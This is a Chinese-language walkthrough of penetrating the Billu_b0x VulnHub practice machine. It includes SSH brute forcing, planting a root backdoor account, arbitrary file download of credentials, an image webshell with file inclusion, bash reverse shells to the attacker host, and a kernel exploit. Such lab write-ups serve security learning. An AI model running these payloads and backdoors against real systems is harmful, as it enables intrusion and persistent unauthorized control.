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一、相关简介一、相关简介

靶机：靶机：
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名称：Billu_b0x

系统：Linux Ubuntu（32位）

难度：中级

目标：利用Web应用程序进入系统并提权至root权限

软件包：Apache、PHP、MySql

环境：环境：

靶机：Billu_b0x——192,168.11.22

攻击机：Kali——192.168.11.11

工具：Nmap、dirb、NetCat（nc）、BurpSuit、Sqlmap、whatweb、Xshell等

流程：流程：

1. 信息搜集

2. 逐一服务进行渗透

二、信息搜集二、信息搜集

注：（信息搜集也包含在渗透测试里边，但是为了过程更加直观，我将信息搜集单独写出来，望悉知）注：（信息搜集也包含在渗透测试里边，但是为了过程更加直观，我将信息搜集单独写出来，望悉知）

nmap进行主机端口信息扫描

nmap -sS -Pn -T4 -sV -O 192.168.11.22

使用 whatweb 识别 Web 指纹信息

whatweb -v -a 3 192.168.11.22



使用dirb爆破Web目录

通过扫描大致得到以下信息：



目标IP：192.168.11.22

OS：Linux（Ubuntu）

22端口：ssh，OpenSSH

80端口：http，Apache 2.2.22

访问扫描到的Web路径，得到以下信息：

http://192.168.11.22/add：上传文件：上传文件

http://192.168.11.22/in：：phpinfo函数函数

http://192.168.11.22/index.php：登录界面：登录界面

http://192.168.11.22/phpmy/：：phpmyadmin

http://192.168.11.22/test：文件参数：文件参数

http://192.168.11.22/c：空页面

http://192.168.11.22/cmd：空页面

http://192.168.11.22/head：空页面

http://192.168.11.22/panel：空页面

http://192.168.11.22/shell：空页面

http://192.168.11.22/show：空页面

http://192.168.11.22/server-status：权限不足

http://192.168.11.22/cgi-bin/：权限不足

http://192.168.11.22/index：登录界面，同 ./index.php

http://192.168.11.22/uploaded_images/：图片文件夹

三、渗透步骤三、渗透步骤

1、、ssh账户爆破账户爆破

1）爆破并连接）爆破并连接ssh服务服务

首先试一下22端口爆破

hydra -L /usr/share/wordlists/uname_passwd/adminUser.txt -P /usr/share/wordlists/uname_passwd/adminPsd.txt -vV -
t4 192.168.11.22 ssh

字典文件如下，是一个我经常用的小字典：



妈耶，直接爆出了账户：root，123456

ok，使用 terminal 连接 ssh 来查看一下相关信息

直接就是root权限，么得意思

2）创建）创建root权限用户，权限用户，Web后台挂马后台挂马

还是惯例创建一个root权限用户，再搞一个挂马吧

既然是root权限，自然有对passwd文件的写权限，那么就可以创建一个用户 xiaohei，再修改器权限 id



打开passwd文件，将xiaohei的权限值改为 0 0

先切换到普通用户ica，在切换至xiaohei用户，查看其权限为root权限

ok，再挂马吧，找到网站根目录，一般Linux的默认Web目录都在 /var/www  下，也可以访问之前扫描出的一个phpinfo页面

在站点下种马，使用蚁剑连接得到Webshell



2、、Web站点渗透站点渗透

经过对爆出的路径进行分析以及页面提示，得到以下几个疑似疑似可利用的弱点：

http://192.168.11.22/index.php

http://192.168.11.22/add

http://192.168.11.22/test

http://192.168.11.22/phpmy/

下面就以这四个点逐一展开渗透，达到 getshell 并提权。

2.1、、 index.php

虽然页面提示是一个sql注入漏洞，但是使用各种方法，无法成功注入。

使用sqlmap进行注入，并且加入绕过插件

sqlmap -u http://192.168.11.22 --data="un=aaa&ps=bbb" --level=3 --tamper "base64encode.py,space2comment" --cooki
e="PHPSESSID=jjneulif3aon2c9l97ani7okd0"

sql注入依然未成功。

但是在扫描过程中，发现这两处存在XSS漏洞



插入beef-xss的代码，需要使用url编码来绕过，即可xss注入

看一下对方 cookie

但是是一个反射型XSS，用处不大，sql注入也未成功，先放下。

2.2、、add.php



选择一个图片，填好内容后抓包，请求包如下：

发现无论上传什么文件，都没有任何效果，索性选择主动响应该请求，查看响应包：

好像不可以上传，先放下。

2.3、、test.php：任意文件读取与下载：任意文件读取与下载

1）发现任意文件下载漏洞）发现任意文件下载漏洞

这个页面最为特殊，打开时页面提示 'file' parameter is empty. Please provide file path in 'file' parameter，就是

file参数为空，需要传入一个参数



尝试直接在URL里传入一个file，参数设置为刚才扫描到的index.php文件

依然提示为空，那极有可能是POST方式，抓包修改提交方式

再在数据区写 file=index.php提交，此时页面依然提示参数为空，但是！但是！弹出来一个文件保存弹窗，存在文件包含的文

件泄漏

2）利用漏洞下载源码进行审计）利用漏洞下载源码进行审计

那么就可以把扫描到的所有文件保存下来进行源码审计了，最终得到了以下几个有用的信息：

add.php：：  就是一个空壳文件，只写了上传部分的代码，其余的处理代码都没有，所以也就不是文件上传漏洞，哭了



add.php：：  就是一个空壳文件，只写了上传部分的代码，其余的处理代码都没有，所以也就不是文件上传漏洞，哭了

c.php：是一个连接数据库的文件，包含了连接数据库的账号密码： billu、 b0x_billu

cmd.php：：  是一个 php 一句话木马，直接在 repeater 里看

index.php：：  构造sql语句时过滤了单引号，虽然hex编码以及Unicode编码可以绕过，但是就是无法注入。。



panel.php：：  存在文件包含漏洞，将任意文件解析为php文件，之后可用于解析图片马



再试一下能否下载其他路径文件，尝试passwd，惊喜！

居然可以拿到其他文件，而且还是高权限文件，再使用nmap扫描是否支持上传文件，发现不能

3）审计）审计phpmyadmin配置文件，得到数据库账户信息配置文件，得到数据库账户信息

ok，那就利用文件泄露的漏洞来看一下phpmyadmin配置文件（因为发现的 /phpmy/  路径是phpmyadmin）

默认的phpmyadmin配置文件位于phpmyadmin文件夹下，一般以下两个都是：

./libraries/config.default.php

./config.inc,php



下载第一个，因为当前phpmy已经是根目录，所以直接使用相对路径即可访问到

保存至本地后，查找user关键字，发现了一个root用户，但是没有密码

下载并查看另一个配置文件，得到了一组账户信息

再根据刚才 c.php里的数据库账号密码，现在得到了两组连接数据库的账户得到了两组连接数据库的账户：

billu：：b0x_billu

root：：roottoor

下面使用这两组账户，来登录phpmyadmin



2.4、、phpmy：信息泄漏：信息泄漏

1）登入）登入phpmyadmin得到敏感信息得到敏感信息

phpmy是phpmyadmin管理界面， root：：roottoor 登录失败，使用 billu：：b0x_billu 登录成功

ica_lab库里有三张表：



在 auth表里发现了一个账户： biLLu、 hEx_it（此帐户信息成功登入了index.php）

download表内容含义暂时未知：

user表内容含义暂时未知：

2）利用）利用phpmyadmin挂马挂马

继续phpmyadmin的测试，既然进入了phpmyadmin后台，自然要看一下能否利用phpmyadmin来挂马，在上一篇：VulnHub靶机靶机
系列之系列之——Lazysysadmin 中已经说到了phpmyadmin的两种挂马方法：

但是两种方式都必须满足三个条件：

1. 未限制文件路径

2. 当前用户有写文件权限

3. 知道网站根目录

https://blog.csdn.net/qq_43968080/article/details/105009290


2.1）利用）利用outfile写文件挂马写文件挂马

现在条件三已经满足，网站根目录是 /var/www  ，查看是否对写文件的路径做以限制

show variables like '%secure%'

哇唔，没有限制，写一个php木马测试文件试试

select '<?php phpinfo(); ?)>' into outfile "/var/www/shell1.php"

唉，没有写文件的权限，后来试了一下，连新建数据库的权限都没有，哭了。

2.2）利用日志文件挂马）利用日志文件挂马

继续试一下日志文件能否挂马，查看全局日志情况

show variables like '%general%';



当前全局日志是关闭状态，且路径已经指定，所以必须是在root权限下，打开全局日志并修改路径。

set global general_log = on;
set global general_log_file = '指定路径';

唉，权限不足，两种方法都失败，那就无法使用phpmyadmin来拿到Webshell了。

2.5、、 index.php 续：文件包含续：文件包含+图片马图片马

1）利用账户登录后台）利用账户登录后台

之前对index页面进行sql注入无果，因此也就没有成功登入。

但是由 auth表中得到的账户，想到了之前 index.php 文件里构造sql查询语句时，查询的表就是这个auth表

用这个账户成功登录，进入了页面后有两个选项，Show Users 是查询展示之前 user表里的用户



诶，这头像，似曾相识，之前在扫目录时有一个 ./uploaded_images/  的文件夹，里边一张图就是这个头像，得到了头像路径

2）上传图片马并建立反弹）上传图片马并建立反弹shell



Add User 是创建一个用户，需要上传图片，盲猜上传的图片是用户头像，上边知道了其路径，那么在这里就可以上传一个图片
马，再利用之前 panel.php  的文件包含漏洞，来Getshell

选一张最喜欢的小新头像，编辑器打开在末尾添加php一句话，制作图片马

上传后，查看所有用户确认上传成功

打开panel.php页面，选择 Show Users并抓包修改数据包如下：

load=show&continue=continue

改为

load=/uploaded_images/aaa.jpg&continue=continue&hack=phpinfo();



发包，即可看到页面已经回显php信息，也就是成功执行木马

此时可以将eval函数改为system函数，用来执行Linux命令，建立反弹shell。重新制作图片马，一句话命令如下：

同样的上传抓包，修改数据包，其中hack的传值改为测试语句 ls：

测试成功，那就可以用用bash来建立反弹来建立反弹shell了，hack值改为以下建立反弹shell命令：

hack=echo "bash -i >& /dev/tcp/192.168.11.11/9999 0>&1" | bash

（将输出的反弹shell语句，用bash来运行）



但是要对数据进行url编码，不然会将某些符号识别成关键字符，使用BurpSuit的Decoder模块对数据url编码：

在kali上使用nc监听9999端口，发包即可建立shell连接，

切换之前创建的超级用户xiaohei，提示需要使用一个terminal环境，使用以下python语句创建一个terminal环境，即可切换至root
用户：

python -c 'import pty;pty.spawn("/bin/bash")'



3）在写权限的目录写入）在写权限的目录写入php木马（木马（Webshell 和和  反弹会话反弹会话shell））

找一个有写权限的目录，写php木马文件 shell.php，比如刚才的 ./uploaded_images  目录

蚁剑连接即可，这是Webshell，方便对站点文件进行操作

当然，重点来了当然，重点来了，除了可以写入一个Webshell的php木马，还可以写一个反弹反弹shell的会话木马 rev_shell.php。

使用echo向rev_shell.php文件写入以下语句，利用的是php system系统命令调用函数：

echo '<?php system('echo "bash -i >& /dev/tcp/192.168.11.11/9999 0>&1" | bash'); ?>' >> rev_shell.php



此时在kali监听指定端口9999，在浏览器访问反弹shell文件 rev_shell.php，即可建立反弹shell，之后都可以进行连接

index页面渗透到此。页面渗透到此。

3、、Linux内核提权内核提权

根据网上大佬的WriteUp，得知该靶机还可以利用内核漏洞进行渗透提权。

利用得到的Webshell，使用以下语句查看目标主机系统内核版本以及Linux系统版本

uname -a  ：内核版本

cat /etc/issue：Linux系统版本



得到内核版本是 Linux indishell 3.13.0-32-generic，系统版本是 Ubuntu 12.04.5 LTS，在kali上查询已有的exp

复制对应文件，赋予其可执行权限

使用Xshell发送至Windows本地，利用Webshell用蚁剑将其上传至网站下

修改权限为可执行文件



使用gcc编译文件： gcc 37292.c -o exp  ，执行即可提权至root权限

三、总结三、总结

1、本次渗透成功的地方有以下几处：、本次渗透成功的地方有以下几处：

ssh弱口令爆破，进入系统后本身就是root权限，重新创建root用户并挂马

利用任意文件下载漏洞得到数据库账户，进入phpmyadmin后台得到用户账户

使用得到的账户进入网站后台，利用文件包含与图片马拿到Webshell与会话shell，提权

利用Linux内核版本漏洞提权

2、有一处知识点：、有一处知识点：

写入php木马建立反弹会话shell

原先只会利用上传文件或者是写文件，创建一个Webshell，但是Webshell的可操作性不高，一般只能对网站进行相关操作，而无
法对目标系统实施控制，所以尝试了以下写入一个建立反弹建立反弹shell的php文件，结果成功了！

php文件中添加的语句如下：

<?php system('echo "bash -i >& /dev/tcp/192.168.11.11/9999 0>&1" | bash'); ?>

之后监听相应端口，访问该文件，即可建立反弹shell。
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